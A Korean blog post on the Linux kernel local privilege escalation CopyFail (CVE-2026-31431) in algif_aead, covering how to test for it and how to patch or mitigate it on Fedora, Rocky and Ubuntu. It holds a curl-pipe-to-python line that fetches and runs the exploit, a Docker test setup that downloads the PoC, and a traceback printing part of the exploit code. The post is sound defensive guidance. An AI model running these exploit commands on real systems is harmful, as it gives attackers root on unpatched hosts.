&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;참조&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[1] CopyFail, https://copy.fail&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[2] Mitigating CVE-2026-&lt;/span&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;1431 on Rocky Linux 8, 9, 10, and LTS Variants. May 1, 2026. &lt;a href="https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation"&gt;https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[3] Fixes available for CVE-2026-31431, Luci Stanescu, 30 April 2026, https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: 'Noto Sans Demilight', 'Noto Sans KR';"&gt;[4] Vulnerability Intelligence &lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Noto Sans Demilight', 'Noto Sans KR';"&gt;CVE-2026-31431, https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-31431&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://sunyzero.tistory.com/328</id>
    <link href="https://sunyzero.tistory.com/328"/>
    <summary type="html">&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2026년 4월말 리눅스 커널에 치명적인 보안 버그인 일명 CopyFail &lt;span style="color: #ee2323;"&gt;CVE-2026-31431&lt;/span&gt;이 발표되었다. 이 글에서는 CopyFail의 간단한 소개와 보안 버그에 해당하는지 PoC 테스트하는 방법 및 보안 패치, 완화 처치 방안에 대해 다룬다. 특히 커널 업그레이드나 blacklist 처리 방법에 대해서 자세히 다루도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;1. CopyFail CVE-2026-31431이란?&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="copyfail_poc_demo.png" data-origin-width="1222" data-origin-height="921"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" data-phocus="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" data-alt="CopyFail CVE-2026-31431 PoC demo (출처 : copy.fail)"&gt;&lt;img src="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX2g3D%2FdJMcadBTvKR%2FFdMBrIYLIhec8dslSgIXKk%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1222" height="921" data-filename="copyfail_poc_demo.png" data-origin-width="1222" data-origin-height="921"/&gt;&lt;/span&gt;&lt;figcaption&gt;CopyFail CVE-2026-31431 PoC demo (출처 : copy.fail)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail은&amp;nbsp;2017년에&amp;nbsp;커널에&amp;nbsp;도입된&amp;nbsp;기능으로서&amp;nbsp;최근에서야&amp;nbsp;발견되었기&amp;nbsp;때문에&amp;nbsp;현재&amp;nbsp;대부분의&amp;nbsp;리눅스가&amp;nbsp;영향을&amp;nbsp;받는다. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 취약점은 2026년 4월 29일 공개되었고, AI를 사용하여 취약점을 발견하는 보안팀인 Xint Code에 의해 공개되었다.[1]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail 취약점은 로컬 권한 상승(Local Privilege Escalation) 취약점으로, 커널의 암호화를 위한 algif_aead에서 splice 시스템 콜을 처리할 때 하드웨어 가속을 일반 유저에게도 사용할 수 있게 해주던 기능이다. 일반 유저도 커널의 기능을 쉽게 사용할 수 있도록 만들어졌지만, 역으로 커널 레벨에서 관리자 권한을 훔칠 수 있게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;현재 AWS나 대부분의 호스팅 업체에서 사용하는 Fedora계열, RH계열(Rocky, Alma, SuSe, 구형 CentOS...), Debian계열(Debian, Ubuntu, Mint ...) 등등 거의 모든 리눅스가 CopyFail 취약점을 가지고 있다. 특히 RH계열(레드햇 계열)은 algif_aead 커널 기능을 module이 아닌 builtin으로 넣어두었기 때문에 더욱 위험하다고 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 취약점은 일단 로컬 유저로 액세스한 뒤에 root 권한을 훔칠 수 있기에 덜 위험하다고 생각될수도 있지만 의존성으로 인해 설치되는 각종 패키지나 혹은 curl | sh 방식으로 프로그램 설치를 유도한 뒤에 시스템에 잠입해서 쉽게 root권한을 훔치는 다양한 공격을 취할 수 있기 때문에 되도록이면 빨리 패치해야만 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2. CopyFail PoC 테스트 방법&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;앞서 이야기 했듯이 2017년에 도입된 기능이므로 현재 사용되는 거의 모든 리눅스가 취약하다고 볼 수 있다. 그럼에도 불구하고 자신의 리눅스 시스템에서 확인하고자 한다면 다음과 같이 확인해볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.1. PoC 코드 (주의!. &lt;span style="color: #ee2323;"&gt;운영 환경에서 사용하지 말 것&lt;/span&gt;)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;첫번째로 이 취약점을 발견한 Theori의 웹사이트에서는 다음과 같은 명령으로 PoC를 해볼 수 있다. Python 3.10이상에서 사용가능하며, &lt;span style="color: #ee2323;"&gt;이 PoC를 실행하면 su 명령이 암호없이 뚫리는 상태가 되므로 운영 환경에서는 실습하지 않도록 주의해야 한다&lt;/span&gt;. 개인용 시스템이나 실습용 시스템에서만 사용하기를 권장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="background-color: #ffc1c8;"&gt;다시 말하지만 운영환경에서는 함부로 실행해보면 안된다&lt;/span&gt;. 만일 실행했다면 &lt;span style="background-color: #f6e199;"&gt;echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/span&gt;로 페이지 캐시를 비워주면 복구되는 경우도 간혹 있지만, 만일 복구가 안된다면 리부팅을 해야만 오염된 페이지 캐시가 제거된다. 따라서 copyfail PoC는 절대로 운영환경에서 실행하면 안된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571178545" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;curl https://copy.fail/exp | python3 &amp;amp;&amp;amp; su&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail의 PoC 원리는 AF_ALG 소켓을 열고, setuid(0) 코드를 페이지 캐시에 오염시켜서 su 명령시 root 권한으로 명령을 실행하게 한다. 따라서 PoC가 성공한 뒤에는 어떤 유저든지 su 명령시 권한이 상승되어 root 패스워드가 필요없어진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2. Docker를 이용한 테스트 (&lt;span style="background-color: #9feec3;"&gt;안전한 취약점 테스트 방법&lt;/span&gt;)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 방법은 docker를 이용해서 container에서 PoC를 실행시키는 방법으로, 컨테이너가 host의 algif_aead를 사용하지만 오염시키는 su가 container 안에 있는 su 바이너리라는 점이 다르다. 그리고 container를 제거하기 전에 fadvise로 오염된 컨테이너의 /usr/bin/su의 page cache를 제거하기 위해 POSIX_FADV_DONTNEED를 호출하는 구조를 사용한다. &lt;span style="color: #0593d3;"&gt;이렇게 하면 container를 통해 1회성으로 취약점 PoC 테스트를 해볼 수 있다&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 테스트 방법은 먼저 docker가 설치되어있어야 한다. 보통 docker-ce를 설치하므로 여기서도 docker-ce가 설치된 시스템을 기준으로 설명한다. 혹시라도&amp;nbsp;설치되어있지&amp;nbsp;않다면&amp;nbsp;"install&amp;nbsp;docker-ce&amp;nbsp;on&amp;nbsp;&amp;lt;배포판&amp;gt;"으로&amp;nbsp;검색하면&amp;nbsp;바로&amp;nbsp;상단에&amp;nbsp;나올&amp;nbsp;것이다.&amp;nbsp;예를&amp;nbsp;들어&amp;nbsp;Rocky&amp;nbsp;리눅스라면&amp;nbsp;"install&amp;nbsp;docker-ce&amp;nbsp;on&amp;nbsp;rocky&amp;nbsp;linux"로&amp;nbsp;검색하면&amp;nbsp;된다.&amp;nbsp;아니면&amp;nbsp;AI에게&amp;nbsp;질문해도&amp;nbsp;된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2.1. 준비 과정&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;먼저 docker 실행 권한을 가진 일반 유저로 2개의 테스트용 파일(Dockerfile, docker-compose.yml)을 만든다. 적당한 디렉토리를 하나 만들고 그 안에 만들면 편리할 것이다. 아래는 파일을 redirect로 생성하는 명령어로서 복사해서 붙여넣으면 파일이 만들어진다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571450636" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;cat &amp;lt;&amp;lt;HERE &amp;gt;Dockerfile
FROM python:3.10-slim
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y --no-install-recommends \
    curl passwd &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*
HERE&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;위의 첫번째 명령어를 복사해서 붙여넣어 실행하면 Dockerfile이 생성되고, 아래 두번째 명령어를 복붙해서 실행하면 docker-compose.yml 파일이 생성될 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571502234" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;cat &amp;lt;&amp;lt;HERE &amp;gt;docker-compose.yml
services:
  copyfail-test:
    build: .
    container_name: copyfail_test
    privileged: true
    stdin_open: true  # -i option
    tty: true         # -t option
    command: |
      bash -c "
      useradd -m sunyzero -s /bin/bash
      echo 'sunyzero:qwer1234' | chpasswd
      echo 'root:rootqwer1234' | chpasswd
      curl -L https://copy.fail/exp &amp;gt; ~sunyzero/copyfail_poc.py
      chown sunyzero:sunyzero /home/sunyzero/copyfail_poc.py
      echo 'To test exploit(CopyFail,CVE-2026-31431)'
      echo '   Run:    python3 ~/copyfail_poc.py'
      echo '===================[ Ready for your command ]====================='
      su - sunyzero
      # 종료 후 fadvise로 su의 page cache를 비우도록 함.
      python3 -c \"
      import os
      fd = os.open('/usr/bin/su', os.O_RDONLY)
      os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
      os.close(fd)
      \"
      sync
      "
HERE&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2개의 파일이 생성된 다음에는 docker compose 명령으로 실행을 해야 할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2.2. PoC를 컨테이너에서 실행&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;컨테이너는 다음과 같은 docker compose --rm copyfail-test 명령어로 실행하되, --rm 옵션을 추가해서 컨테이너를 종료하는 즉시 삭제되도록 한다. (아래처럼 명령어가 긴 경우 대충 두서너 글자를 치고 tab을 치면 완성해준다)&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571582331" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test
...생략...
To test exploit(CopyFail,CVE-2026-31431),
    Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@e31dfcc7a99d:~$ ls
copyfail_poc.py
sunyzero@e31dfcc7a99d:~$ id
uid=1000(sunyzero) gid=1000(sunyzero) groups=1000(sunyzero)
sunyzero@e31dfcc7a99d:~$ su -
Password:   # 정상적으로 password를 묻는 상태이므로 Ctrl-C로 취소한다.

$ python3 ~/copyfail_poc.py
# id
uid=0(root) gid=1000(sunyzero) groups=1000(sunyzero)

# exit
$ exit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;컨테이너 안에서 내린 명령어를 보면 먼저 ls로 copyfail_poc.py 파일이 저장되어있는지 확인을 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그 다음에 id 명령으로 sunyzero 로컬 유저의 UID, GID를 확인했다. 결과를 보면 &lt;span style="background-color: #f6e199;"&gt;uid=1000(sunyzero) ...&lt;/span&gt; 로 일반 유저로 보이고 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그리고나서 su - 명령을 내려보면 패스워드를 묻는 &lt;span style="background-color: #9feec3;"&gt;"Password: "&lt;/span&gt; 프롬프트가 제대로 보이고 있다. 즉 암호 체크가 제대로 작동중인 안전한 상태인 것이다. 아직 PoC를 실행하지 않은 상태에서 정상인지 확인했으니, Ctrl-C로 취소한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그 다음에는 PoC 코드인 &lt;span style="background-color: #ffc1c8;"&gt;python3 ~/copyfail_poc.py&lt;/span&gt;를 실행하면 root 계정이 탈취되는지 확인할 수 있다. 위의 경우에는 id에 uid=0(root)가 나오는 것으로 보이므로 로컬 권한 상승으로 root 계정이 탈취당했음을 알 수 있다. 안전하게 보안 패치된 시스템에서는 패스워드를 묻는 프롬프트가 나와서 로컬 권한 상승을 막는다. 혹은 완화 처리(mitigation)된 시스템에서는 오류가 발생하도록 되어있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;취약점이 존재하여 root를 탈취당하는 시스템이라면 아래와 같이 copyfail 보안 패치나 완화 방법을 사용해야 한다. 여기서는 Fedora, Rocky, Ubuntu별로 따로 설명하도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3. CopyFail 보안 패치 방법&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;레드햇 계열(Fedora, Rocky, Alma ...)들은 algif_aead가 커널에 builtin되어있고, 데비안 계열(Debian, Ubuntu, Mint...)들은 module로 되어있어서 패치 방법이 조금은 다르다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;레드햇 계열에서는 패치된 커널로 업그레이드하거나 아니면 boot parameter에서 blacklist로 해당 기능을 처리하는 완화 방법(mitigation)이 주로 쓰이고, 데비안 계열은 module이라 간단하게 blacklist 환경 설정 파일만 설정해주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우선 커널에 AEAD이 존재하는지는 /boot/config-$(uname -r)파일이나 modinfo로 쉽게 알 수 있다. 아래는 레드햇 계열에서 살펴본 것으로 modinfo에서 filename이 builtin으로 나오는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573316663" class="routeros" style="background-color: #f8f8f8; color: #383a42; text-align: start;" data-ke-type="codeblock" data-ke-language="bash"&gt;&lt;code&gt;$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
CONFIG_CRYPTO_USER_API_AEAD=y

$ modinfo algif_aead
name:           algif_aead
filename:       (builtin)
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller &amp;lt;smueller@chronox.de&amp;gt;
license:        GPL
file:           crypto/algif_aead&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우분투는 filename에 경로가 나오는 것으로 봐서 kernel module임을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573609155" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ modinfo algif_aead
filename:       /lib/modules/5.15.0-144-generic/kernel/crypto/algif_aead.ko
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller &amp;lt;smueller@chronox.de&amp;gt;&amp;lt;/smueller@chronox.de&amp;gt;
license:        GPL
srcversion:     F89A7DE8CA18E13AB028AA1
...생략...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.1. Fedora 리눅스 (레드햇 계열)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;페도라 리눅스에서는 이 글을 쓰는 시점인 5월 9일경 확인한 결과 6.19.14-300에 이어 7.0.4 커널이 올라왔으나 해결은 아직 안된 상태이다. 그럼에도&amp;nbsp;불구하고&amp;nbsp;다른&amp;nbsp;취약점이&amp;nbsp;패치되어있기&amp;nbsp;때문에&amp;nbsp;커널을&amp;nbsp;업데이트&amp;nbsp;해주는&amp;nbsp;것을&amp;nbsp;추천한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572015839" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo dnf -y update kernel&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="background-color: #f6e199;"&gt;커널 업데이트 후에는 reboot를 해야만 한다.&lt;/span&gt; 패치가 제대로 되었다면 docker로 PoC 실행시 다음과 같이 root 로 권한이 상승되지 못하고 패스워드를 묻는 프롬프트인 "Password: "가 나타나게 된다. 아래 테스트는 페도라43, 페도라44에서 테스트 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572520220" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Creating 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Created 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4615      0 --:--:-- --:--:-- --:--:--  4626
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@f1afcd499e5d:~$ python3 ~/copyfail_poc.py
Password:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2. Rocky 리눅스 (레드햇 계열)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Rocky 리눅스는 이 글을 처음 쓰던 시점에서는 grubby로 부팅 시점에 algif_aead_init 모듈을 blacklist 처리하는 boot parameter를 추가하는 완화 방법으로 처리하도록 안내하고 있었으나, 중간에 5월 9~10일경에 패치된 커널이 올라왔다.[2] 따라서 아래 커널 업그레이드 방법(Plan A)로 처리하는 것을 추천한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2.1. 커널 업그레이드 방법 (Plan A)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Rocky Linux는 5월 8~10일 경에는 대부분의 버전을 패치했으므로 커널 업그레이드 방법으로 쉽게 해결할 수 있다. 이 글을 탈고하는 시점에서는 Rocky Linux 10은 7.0.x 버전으로 올라가서 다른 보안 취약점까지 같이 패치되고, Rocky Linux 9.6은 5.14.0-611.54.1로 업데이트 되었다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;커널 업그레이드 방법은 페도라 리눅스와 같다. 테스트는 로키 리눅스 10.1과 9.6에서 테스트 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572201110" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo dnf -y update kernel&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;커널 업데이트가 완료된 후에는 reboot를 해줘야만 한다. 리부팅 뒤에도 앞서 docker로 PoC를 검사하는 부분을 체크해보는 것을 권장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2.2. grubby로 부트 파라메터 조작 방법 (Plan B)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Plan B 방법은 커널 업그레이드가 용이하지 않을 때 사용하는 방법이다. 하지만 되도록이면 위 플랜A인 커널 업그레이드를 권장한다. 이 기능은 grubby를 사용하므로 root 권한으로 명령한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572299542" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo grubby --args initcall_blacklist=algif_aead_init --update-kernel=ALL&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;플랜B는 algif_aead를 커널 레벨에서 블랙리스트 처리하므로 docker PoC로 실행해보면 아래처럼 에러가 발생한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573430137" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test
Container sunyzero-copyfail-test-run-b5913c93ffa3 Creating
Container sunyzero-copyfail-test-run-b5913c93ffa3 Created
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2044      0 --:--:-- --:--:-- --:--:--  2041
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@c18f31aee811:~$  python3 ~/copyfail_poc.py
Traceback (most recent call last):
  File "/home/sunyzero/copyfail_poc.py", line 9, in 
    while i
  File "/home/sunyzero/copyfail_poc.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
FileNotFoundError: [Errno 2] No such file or directory
sunyzero@c18f31aee811:~$&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.3. Ubuntu 리눅스&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="color: #333333; text-align: start;"&gt;우분투 리눅스는 취약점이 있는 algif_aead가 module로 빌드되어있기 때문에 &lt;/span&gt;kernel 패키지에 직접 패치 하지 않고&amp;nbsp; 블랙리스트 처리와 비슷하게 /etc/modprobe.d/disable-algif_aead.conf 파일을 만드는 완화 방법을 사용한다.[3] 따라서 해당 conf 파일을 설치하는 패키지를 제공하는데, 패키지 이름은 kmod 로서 다음과 같이 sudo apt install --only-upgrade kmod 명령으로 업데이트하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;kmod 업그레이드 명령에 --only-upgrade 옵션을 사용하면 의존성에 걸린 다른 패키지들을 줄줄이 업데이트하지 않고 딱 kmod만 업그레이드하도록 되어있다. 회사에서 다른 큰 문제가 없다면 sudo apt upgrade로 싹다 업그레이드해도 되지만, 만약에 다른 프로그램들이 작동 중이라면 안전하게 kmod만 업그레이드하는 것도 괜찮다. 아래는 우분투 22에서 테스트한 결과이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573678331" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ sudo apt update
...생략...
$ sudo apt install --only-upgrade kmod
...생략...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 방법의 장점은 재부팅하지 않고도 활성화 시킬 수 있다. (물론 재부팅을 해도 된다) 그리고나서 algif_aead 커널 모듈이 로딩되어있을테니 제거해주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573741173" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ lsmod | grep aead
algif_aead             16384  0
af_alg                 32768  1 algif_aead

$ sudo rmmod algif_aead&lt;/code&gt;&lt;/pre&gt;
